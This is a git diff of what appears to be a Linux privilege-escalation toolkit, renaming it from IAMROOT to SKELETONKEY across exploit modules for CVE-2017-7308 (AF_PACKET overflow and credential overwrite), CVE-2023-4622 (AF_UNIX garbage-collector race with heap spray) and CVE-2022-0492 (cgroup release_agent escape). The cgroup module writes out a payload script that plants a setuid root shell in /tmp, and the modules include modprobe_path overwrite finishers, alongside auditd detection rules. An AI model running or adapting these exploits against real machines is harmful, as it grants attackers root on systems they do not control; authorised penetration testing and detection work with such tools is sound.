fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
return false;
}
@@ -264,7 +264,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
*
* After firing, we check dmesg-ability (we won't actually read dmesg
* that requires root but we leave a unique tag in the skb payload
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
* so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
*/
static int fire_overflow_and_spray(void)
{
@@ -338,7 +338,7 @@ static int fire_overflow_and_spray(void)
static const unsigned char skb_payload[256] = {
/* eth header (dst=broadcast, src=zero, type=0x0800) */
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
/* IAMROOT tag — operator can grep dmesg for this string in any
/* SKELETONKEY tag — operator can grep dmesg for this string in any
* subsequent KASAN report or panic dump */
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
/* zeros for the remainder */
@@ -363,7 +363,7 @@ static int fire_overflow_and_spray(void)
/* Keep the corrupted socket open so the OOB region stays mapped
* for the cred-overwrite walk that follows. The caller closes it. */
/* Stash the fd via dup2 to a known number so the caller can find it.
* Use 200 well above stdio + iamroot's own pipe fds. */
* Use 200 well above stdio + skeletonkey's own pipe fds. */
if (dup2(s, 200) < 0) {
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
}
@@ -474,7 +474,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
* spray payload so its bytes carry the requested target kaddr
* (the prompt's "controllable overwrite value aimed at
* modprobe_path"). Operator-supplied
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
* within struct sk_buff for this kernel build) lets us aim
* precisely; without it we heuristically stamp kaddr at several
* plausible offsets within the kmalloc-2k skb layout.
@@ -491,7 +491,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
*/
struct afp_arb_ctx {
const struct iamroot_ctx *ctx;
const struct skeletonkey_ctx *ctx;
const struct af_packet_offsets *off;
uid_t outer_uid;
gid_t outer_gid;
@@ -517,13 +517,13 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
/* Per-kernel skb->data field offset — without this we can't aim
* the overwrite precisely. Operator can supply via env; otherwise
* we run heuristic mode. */
const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET");
const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
long skb_data_off = -1;
if (skb_off_env) {
char *end = NULL;
skb_data_off = strtol(skb_off_env, &end, 0);
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET "
fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
"malformed (\"%s\"); ignoring\n", skb_off_env);
skb_data_off = -1;
}
@@ -540,16 +540,16 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
" field offset. The trigger will still fire and the heap spray will\n"
" still occur, but precise OOB targeting requires:\n"
"\n"
" IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
" SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
"\n"
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
" /tmp/iamroot-pwn-<pid> sentinel adjudicates success either way.\n");
" /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
}
/* Fork into a userns/netns child so the AF_PACKET socket has
* CAP_NET_RAW. The finisher itself stays in the parent so its
* eventual execve() replaces the top-level iamroot process. */
* eventual execve() replaces the top-level skeletonkey process. */
pid_t cpid = fork();
if (cpid < 0) {
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
@@ -648,7 +648,7 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
memset(payload, 0xff, 6); /* eth dst: bcast */
memset(payload + 6, 0, 6); /* eth src: zero */
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
memcpy(payload + 14, "iamroot-afp-fc-", 15); /* dmesg tag */
memcpy(payload + 14, "skeletonkey-afp-fc-", 15); /* dmesg tag */
if (skb_data_off >= 0 &&
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
@@ -703,17 +703,17 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
#endif /* __x86_64__ */
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
{
#if !defined(__x86_64__)
(void)ctx;
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
"(cred-offset table is arch-specific)\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
/* 1. Refuse on patched kernels — re-run detect. */
iamroot_result_t pre = af_packet_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = af_packet_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -721,7 +721,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
/* 2. Refuse if already root. */
if (geteuid() == 0) {
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
@@ -729,15 +729,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* extend known_offsets[] for new distro builds. */
struct kernel_version v;
if (!kernel_version_current(&v)) {
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
struct af_packet_offsets off;
if (!resolve_offsets(&off, &v)) {
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
v.release);
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] af_packet: using offsets [%s] "
@@ -753,15 +753,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* offset resolver can't find modprobe_path or (b) the trigger
* is rejected (silent backport). */
if (ctx->full_chain) {
struct iamroot_kernel_offsets koff;
struct skeletonkey_kernel_offsets koff;
memset(&koff, 0, sizeof koff);
(void)iamroot_offsets_resolve(&koff);
if (!iamroot_offsets_have_modprobe_path(&koff)) {
iamroot_finisher_print_offset_help("af_packet");
return IAMROOT_EXPLOIT_FAIL;
(void)skeletonkey_offsets_resolve(&koff);
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
skeletonkey_finisher_print_offset_help("af_packet");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
iamroot_offsets_print(&koff);
skeletonkey_offsets_print(&koff);
}
struct afp_arb_ctx arb_ctx = {
.ctx = ctx,
@@ -769,7 +769,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
.outer_uid = outer_uid,
.outer_gid = outer_gid,
};
return iamroot_finisher_modprobe_path(&koff, afp_arb_write,
return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
&arb_ctx, !ctx->no_shell);
}
@@ -779,7 +779,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* the kernel will clean up sockets on child exit. */
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -800,7 +800,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
/* WIN — one of our task_struct-spray children became uid 0.
* Signal parent via exit code; parent will not exec sh from
* this child (its address space is corrupted-ish). The win
* is symbolic at the iamroot level: we proved the primitive
* is symbolic at the skeletonkey level: we proved the primitive
* lands AND the cred-overwrite walk completes. */
_exit(0);
}
@@ -815,9 +815,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_packet: child died abnormally "
"(signal=%d) — primitive likely fired but crashed\n",
WTERMSIG(status));
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
"for slab-out-of-bounds evidence\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int code = WEXITSTATUS(status);
@@ -831,29 +831,29 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* that targets OUR cred specifically (rather than spray-and-
* pray), we can't promote ourselves. Report PARTIAL win.
*
* Per requirements: only return IAMROOT_EXPLOIT_OK if we
* Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
* empirically confirmed root in this process. We didn't. */
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
"but THIS process is still uid %d\n", geteuid());
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
"did not acquire root. The primitive demonstrably works.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
case 4:
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
"kernel has silent backport (detect was version-only)\n");
return IAMROOT_OK; /* effectively patched */
return SKELETONKEY_OK; /* effectively patched */
case 5:
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
"acquired root within the timeout window\n");
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
"for evidence the OOB write occurred\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif
}
@@ -861,10 +861,10 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
static const char af_packet_auditd[] =
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
"# Flag AF_PACKET socket creation from non-root via userns.\n"
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n";
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
const struct iamroot_module af_packet_module = {
const struct skeletonkey_module af_packet_module = {
.name = "af_packet",
.cve = "CVE-2017-7308",
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
@@ -880,7 +880,7 @@ const struct iamroot_module af_packet_module = {
.detect_falco = NULL,
};
void iamroot_register_af_packet(void)
void skeletonkey_register_af_packet(void)
{
iamroot_register(&af_packet_module);
skeletonkey_register(&af_packet_module);
}
@@ -0,0 +1,12 @@
/*
* af_packet_cve_2017_7308 — SKELETONKEY module registry hook
*/
#ifndef AF_PACKET_SKELETONKEY_MODULES_H
#define AF_PACKET_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_packet_module;
#endif
+1 -1
View File
@@ -18,7 +18,7 @@ Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
5.15.130 / 6.1.51 / 6.5.0.
## IAMROOT role
## SKELETONKEY role
**Widest deployment of any module in the corpus** — bug present
in every Linux kernel below the fix (back to ~2.0 era).
@@ -1,12 +0,0 @@
/*
* af_unix_gc_cve_2023_4622 — IAMROOT module registry hook
*/
#ifndef AF_UNIX_GC_IAMROOT_MODULES_H
#define AF_UNIX_GC_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_unix_gc_module;
#endif
@@ -1,5 +1,5 @@
/*
* af_unix_gc_cve_2023_4622 IAMROOT module
* af_unix_gc_cve_2023_4622 SKELETONKEY module
*
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
@@ -55,7 +55,7 @@
* carries the widest version range of any module we ship.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -127,12 +127,12 @@ static bool can_create_af_unix(void)
return true;
}
static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* No lower bound: this bug has been in the AF_UNIX GC path since
@@ -144,7 +144,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */
@@ -153,7 +153,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
"exotic seccomp/sandbox, bug unreachable here\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
@@ -163,7 +163,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
" creatable). The race window is microseconds wide and\n"
" needs thousands of iterations to win on average.\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Race-driver state ------------------------------------------- */
@@ -376,7 +376,7 @@ static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
memset(&p, 0, sizeof p);
p.mtype = 0x55; /* 'U' — unix */
memset(p.buf, 0x55, sizeof p.buf);
memcpy(p.buf, "IAMROOTU", 8);
memcpy(p.buf, "SKELETONKEYU", 8);
int created = 0;
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
@@ -537,40 +537,40 @@ static int af_unix_gc_arb_write(uintptr_t kaddr,
/* ---- Exploit driver ---------------------------------------------- */
static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
{
/* 1. Refuse-gate: re-call detect() and short-circuit. */
iamroot_result_t pre = af_unix_gc_detect(ctx);
if (pre == IAMROOT_OK) {
skeletonkey_result_t pre = af_unix_gc_detect(ctx);
if (pre == SKELETONKEY_OK) {
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (pre != IAMROOT_VULNERABLE) {
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If
* modprobe_path is unresolvable we refuse here rather than running
* a 30 s race that has no finisher to call. */
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("af_unix_gc");
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("af_unix_gc");
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
" a small fraction per run — see module header.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
full_chain_ready = true;
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
" to %d s. RELIABILITY remains race-dependent on a real\n"
@@ -588,7 +588,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
signal(SIGPIPE, SIG_IGN);
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
@@ -635,7 +635,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
uint64_t a_errs = atomic_load(&g_thread_a_errs);
/* 4. Empirical witness breadcrumb. */
FILE *log = fopen("/tmp/iamroot-af_unix_gc.log", "w");
FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
if (log) {
fprintf(log,
"af_unix_gc race harness (CVE-2023-4622):\n"
@@ -684,18 +684,18 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
.n_queues = AFUG_SPRAY_QUEUES,
.arb_calls = 0,
};
int fr = iamroot_finisher_modprobe_path(&off,
int fr = skeletonkey_finisher_modprobe_path(&off,
af_unix_gc_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-af_unix_gc.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
fr, arb_ctx.arb_calls);
fclose(fl);
}
drain_kmalloc_512(queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
_exit(35); /* finisher ran, no land */
}
@@ -729,7 +729,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
/* PARENT */
int status = 0;
pid_t w = waitpid(child, &status, 0);
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
@@ -738,26 +738,26 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
"(consistent with UAF firing under KASAN)\n", sig);
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
" See /tmp/iamroot-af_unix_gc.log + dmesg for witnesses.\n");
" See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
if (rc == 23 || rc == 24) return IAMROOT_PRECOND_FAIL;
if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
if (rc == 34) {
if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
"EXPLOIT_OK (race won + write landed)\n");
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
if (rc == 35) {
if (!ctx->json) {
@@ -765,11 +765,11 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
" win + land within budget (expected outcome on most\n"
" runs — race wins are a fraction of a percent).\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc != 30) {
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -778,39 +778,39 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
" implemented (per-kernel offsets; see module .c TODO\n"
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
static iamroot_result_t af_unix_gc_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#ifdef __linux__
return af_unix_gc_exploit_linux(ctx);
#else
(void)ctx;
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#endif
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t af_unix_gc_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
}
if (unlink("/tmp/iamroot-af_unix_gc.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
/* harmless */
}
/* Race threads + msg queues live inside the now-exited child;
* nothing else to drain. */
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Detection rules --------------------------------------------- */
@@ -821,11 +821,11 @@ static const char af_unix_gc_auditd[] =
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
"# benign — flag the *frequency* by correlating these keys with a\n"
"# subsequent KASAN message in dmesg.\n"
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k iamroot-afunixgc-pair\n"
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-afunixgc-sendmsg\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-afunixgc-spray\n";
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
const struct iamroot_module af_unix_gc_module = {
const struct skeletonkey_module af_unix_gc_module = {
.name = "af_unix_gc",
.cve = "CVE-2023-4622",
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
@@ -841,7 +841,7 @@ const struct iamroot_module af_unix_gc_module = {
.detect_falco = NULL,
};
void iamroot_register_af_unix_gc(void)
void skeletonkey_register_af_unix_gc(void)
{
iamroot_register(&af_unix_gc_module);
skeletonkey_register(&af_unix_gc_module);
}
@@ -0,0 +1,12 @@
/*
* af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
*/
#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
#define AF_UNIX_GC_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_unix_gc_module;
#endif
@@ -16,7 +16,7 @@ Original writeup:
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
## IAMROOT role
## SKELETONKEY role
**Universal structural exploit — no per-kernel offsets, no race.**
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
@@ -1,12 +0,0 @@
/*
* cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
*/
#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module cgroup_release_agent_module;
#endif
@@ -1,5 +1,5 @@
/*
* cgroup_release_agent_cve_2022_0492 IAMROOT module
* cgroup_release_agent_cve_2022_0492 SKELETONKEY module
*
* cgroup v1 release_agent file is checked only for "is the writer
* root in the cgroup namespace" — NOT "is the writer root in the
@@ -36,7 +36,7 @@
* exposure even if all the fancy heap-spray bugs are patched.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -84,12 +84,12 @@ static int can_unshare_userns_mount(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
@@ -97,7 +97,7 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
@@ -112,13 +112,13 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit -----------------------------------------------------
@@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
static const char PAYLOAD_SHELL[] =
"#!/bin/sh\n"
"# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
"id > /tmp/iamroot-cgroup-pwned\n"
"chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
"cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
"chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
"chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
"# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
"id > /tmp/skeletonkey-cgroup-pwned\n"
"chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
"cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
"chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
"chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";
static bool write_file(const char *path, const char *content)
{
@@ -147,23 +147,23 @@ static bool write_file(const char *path, const char *content)
return ok;
}
static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = cgroup_ra_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = cgroup_ra_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Drop the setuid-root-shell payload to a path we can read+exec
* later. Payload runs as host root when the cgroup is released. */
const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
if (!write_file(payload_path, PAYLOAD_SHELL)) {
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
chmod(payload_path, 0755);
if (!ctx->json) {
@@ -173,7 +173,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
/* Fork: child does the exploit; parent waits then verifies + execs
* the setuid shell we expect the payload to plant. */
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: enter userns + mountns, become "root" in userns. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
@@ -193,7 +193,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
/* Mount cgroup v1 (rdma controller — small, simple, works
* even on cgroup-v2-first systems). */
const char *cgmount = "/tmp/iamroot-cgroup-mnt";
const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
